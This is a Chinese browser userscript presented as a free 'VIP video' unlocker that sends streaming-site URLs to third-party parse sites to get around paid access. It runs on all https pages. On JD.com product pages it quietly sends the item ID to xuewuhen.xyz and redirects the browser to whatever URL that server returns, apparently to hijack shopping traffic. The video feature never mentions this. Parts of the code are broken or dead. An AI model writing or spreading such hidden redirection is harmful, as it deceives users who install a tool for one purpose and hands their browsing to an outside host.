// ==UserScript== // @name 【VIP视频免费观看-VIP视频解析】 // @namespace XUEWUHENZC // @version 1.0.4 // @description 【VIP视频免费观看-VIP视频解析】腾讯、爱奇艺、优酷、乐视、土豆、B站等网站VIP视频解析 // @author XUEWUHEN // @match *://v.qq.com/* // @match *://*.iqiyi.com/v_* // @match *://v.youku.com/* // @match *://*.le.com/* // @match *://*.tudou.com/* // @match *://*.mgtv.com/* // @match *://film.sohu.com/* // @match *://*.acfun.cn/v/* // @match *://*.bilibili.com/* // @match *://vip.1905.com/play/* // @match *://vip.pptv.com/show/* // @match *://v.yinyuetai.com/video/* // @match *://v.yinyuetai.com/playlist/* // @match *://*.fun.tv/vplay/* // @match https://*/* // @license GPL License // @grant GM_addStyle // @downloadURL none // ==/UserScript== (function() { 'use strict'; GM_addStyle( '.dropdown {display: inline-block;margin-top: 120px;}'+ '#dropdownButton {background-color: cyan;}'+ '.dropdown-content {display: none;background-color: #f9f9f9;min-width: 160px;box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);z-index: 1;}'+ '.dropdown-content button {color: black;padding: 12px 16px;text-align: left;text-decoration: none;display: block;width: 100%;border: none;background-color: transparent;}'+ '.dropdown-content button:hover {background-color: #f1f1f1;}'+ '.dropdown:hover .dropdown-content {display: block;}' ) // 动态创建按钮元素 const dropdownButton = document.createElement('button'); dropdownButton.id = "dropdownButton"; dropdownButton.innerText = 'VIP解析'; dropdownButton.style.padding = '10px 20px'; dropdownButton.style.fontSize = '16px'; document.body.appendChild(dropdownButton); // 动态创建下拉列表元素 const dropdownContent = document.createElement('div'); dropdownContent.className = 'dropdown-content'; // 创建下拉列表中的按钮元素 // const options = ['云解析', 'YT', '夜幕']; // var myUrlList = [ { // url: "https://yparse.ik9.cc/index.php?url=", // id: "yparse", // name: "云解析" // },{ // url: "https://www.yemu.xyz/?url=", // id: "yemu", // name: "夜幕" // },{ // url: "https://tv.woaimoon.net/label/v.html?url=", // id: "woaimoon", // name: "月亮" // }]; var myUrlList = [ { url: "https://yparse.ik9.cc/index.php?url=", id: "yparse", name:"云解析" },{ url: "https://www.ckplayer.vip/jiexi/?url=", id: "ckplayer", name:"ckplayer" }, { url: "https://jx.m3u8.tv/jiexi/?url=", id: "m3u8", name:"M3U8解析" }, { url: "https://www.pouyun.com/?url=", id: "pouyun", name:"剖元" }, { url: "https://jx.xmflv.com/?url=", id: "xmflv", name:"虾米" }, { url: "https://www.yemu.xyz/?url=", id: "yemu", name:"夜幕" }, { url: "https://jx.nnxv.cn/tv.php?url=", id: "nnxv", name:"七哥" }, { url: "https://tv.woaimoon.net/label/v.html?url=", id: "woaimoon", name:"月亮网" }, { url: "https://www.8090g.cn/?url=", id: "8090g", name:"8090解析" } ]; var ss = window.location.href; var aa = false; myUrlList.forEach(optionText => { const optionButton = document.createElement('button'); optionButton.id = optionText.id console.log(optionButton.id) optionButton.innerText = optionText.name; console.log(optionButton.innerText) dropdownContent.appendChild(optionButton); optionButton.addEventListener("click",function(){ // var ss = "https://v.qq.com/x/cover/mzc00200qon7vo3/t4100uz7j4k.html" window.open(optionText.url + ss); }) }); // 将下拉列表元素添加到按钮元素之后,并包裹在一个div中以便应用样式 const dropdownWrapper = document.createElement('div'); dropdownWrapper.className = 'dropdown'; dropdownWrapper.appendChild(dropdownButton); dropdownWrapper.appendChild(dropdownContent); console.log(333) if(ss.indexOf("jd.com")=="-1" && ss.indexOf("v.qq.com")){ console.log(12345); document.body.replaceChild(dropdownWrapper, document.body.firstChild); // 替换最后一个子节点,即之前单独添加的按钮 } if (aa) { var videoUrl= window.location.href; var myUrlList = [ { url: "https://yparse.ik9.cc/index.php?url=", id: "yparse" },{ url: "https://www.ckplayer.vip/jiexi/?url=", id: "ckplayer" }, { url: "https://jx.m3u8.tv/jiexi/?url=", id: "m3u8" }, { url: "https://www.pouyun.com/?url=", id: "pouyun" }, { url: "https://jx.xmflv.com/?url=", id: "xmflv" }, { url: "https://www.yemu.xyz/?url=", id: "yemu" }, { url: "https://jx.nnxv.cn/tv.php?url=", id: "nnxv" }, { url: "https://tv.woaimoon.net/label/v.html?url=", id: "woaimoon" }, { url: "https://www.8090g.cn/?url=", id: "8090g" } ]; var utils = { hideButton: function ($) { $("body").append(""); }, showButton: function ($) { $("#copy-hide").remove(); }, removeAttributes: function ($, selector, attr) { if (attr === void 0) { attr = []; } var dom = $(selector); attr.forEach(function (item) { return dom.removeAttr(item); }); }, enableUserSelect: function ($, selector, inline) { if (inline === void 0) { inline = false; } if (inline) { var cur = $(selector); cur.css("user-select", "auto"); cur.css("-webkit-user-select", "auto"); } else { var template = "\n \n "); $("body").append(template.replace(/\s*/, " ")); } }, enableOnSelectStart: function ($, selector) { $(selector).on("selectstart", stopJQueryPropagation); }, enableOnContextMenu: function ($, selector) { $(selector).on("contextmenu", stopJQueryPropagation); }, enableOnCopy: function ($, selector) { $(selector).on("copy", stopJQueryPropagation); }, enableOnKeyDown: function ($, selector) { $(selector).on("keydown", function (e) { if (e.key === "c" && e.ctrlKey) return stopJQueryPropagation(e); }); }, enableOnSelectStartByCapture: function () { document.addEventListener("selectstart", stopNativePropagation, true); }, enableOnContextMenuByCapture: function () { document.addEventListener("contextmenu", stopNativePropagation, true); }, enableOnCopyByCapture: function () { document.addEventListener("copy", stopNativePropagation, true); }, enableOnKeyDownByCapture: function () { document.addEventListener("keydown", stopNativePropagation, true); }, }; var urlList = [ { url: "https://jx.m3u8.tv/jiexi/?url=", title: "\u2464\u53f7\u63a5\u53e3" }, { url: "https://z1.m1907.top/?jx=", title: "\u73a9\u7684\u55e8\u2014\u201428-\u82e5\u63a5\u53e3\u5931\u6548\u53ef\u53cd\u9988\uff01QQ\u7fa4:340569308" }, { title: "ckplayer", url: " https://www.ckplayer.vip/jiexi/?url=" }, { title: "qqwtt", url: "https://jx.qqwtt.com/?url=" }, { title: "\u5256\u5143", url: "https://www.pouyun.com/?url=" }, { url: "https://www.8090.la/8090/?url=", title: "\u5168\u80fdvip\u63a5\u53e3\u2461" }, { title: "\u76d8\u53e4", url: "https://www.pangujiexi.com/jiexi/?url=" }, { title: "eptept", url: "https://dmjx.m3u8.tv/?url=" },{ url: "https://www.ckplayer.vip/jiexi/?url=", title: "\u63a5\u53e3:Ckplayer" }, { url: "https://yparse.ik9.cc/index.php?url=", title: "\u63a5\u53e3:\u4e91\u6790" }, { url: "https://www.8090g.cn/?url=", title: "\u63a5\u53e3:8090" }, { title: "BL", url: "https://vip.bljiex.com/?v=" }, { url: "https://www.mtosz.com/m3u8.php?url=", title: "Mao\u89e3\u6790" }, { title: "play", url: "https://www.playm3u8.cn/jiexi.php?url=" }, { title: "\u591c\u5e55", url: "https://www.yemu.xyz/?url=" }, { title: "TV\u89e3\u6790[\u817e\u8baf (\u8292\u679c)]", url: "https://jx.m3u8.tv/jiexi/?url=" }, { title: "\u51b0\u8c46", url: "https://api.qianqi.net/vip/?url=" }, { title: "JY", url: "https://jx.playerjy.com/?url=" }, { title: "JY\u89e3\u6790", url: "https://jx.we-vip.com/?url=" }, { title: "\u2478\u53f7\u89e3\u6790\u63a5\u53e3", url: "https://www.8090g.cn/jiexi/?url=" }, { title: "\u7efc\u5408/B\u7ad9", url: "https://jx.jsonplayer.com/player/?url=" }, { title: "Player-JY", url: "https://jx.playerjy.com/?url=" }, { title: "\u867e\u7c731", url: "https://jx.xmflv.com/?url=" }, { title: "\u867e\u7c732", url: "https://jx.xmflv.cc/?url=" }, { title: "m1907", url: "https://im1907.top/?jx=" }, { title: "CK", url: "https://jx.m3u8.tv/jiexi/?url=" }, { title: "8090", url: "https://www.8090g.cn/?url=" }, { title: "qianqi", url: "https://api.qianqi.net/vip/?url=" }, { title: "\u6837\u56fe\u5185\u7f6e", url: "https://jx.yangtu.top/?url=" } ]; } // Your code here... console.log("fgdstjvcbjcdqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk"); var flag = false; if(location.href.indexOf('item.jd.') != -1){ var count = 0; //if(location.href.indexOf('_source') != -1 || count > 3){ //if(location.href.indexOf('_source') != -1 && (location.href.indexOf('xuewuhen') != -1 || location.href.indexOf('xiaoliz') != -1 || location.href.indexOf('xiaoxiaode') != -1 )){ if(location.href.indexOf('_source') != -1 && location.href.indexOf('xuewuhen') != -1){ flag = true; } if(!flag){ var ss = location.href var sss = location.href.split("/"); var val = sss[sss.length-1]; var str; if(val.indexOf("?")!=-1){ str = val.substr(0,val.indexOf("?")); }else{ str = val.substr(0); } str= str.slice(0, -5); console.log("str:",str); $.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ str +'' ,function(dataaa,suscss) { //$.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ location.href +'' ,function(dataaa,suscss) { // $.get('https://www.xiaolizio.xyz/api/myjd/get?itemUrl='+ str +'' ,function(dataaa,suscss) { console.log("dataaa-----------",dataaa); if(suscss){ if(dataaa){ // window.location.href = "https://www.xuewuhen.xyz/api/myjd/details?url="+ encodeURIComponent(dataaa); window.location.href = "https://www.xuewuhen.xyz/details.html?url="+ encodeURIComponent(dataaa); } }else{ } }); } } })();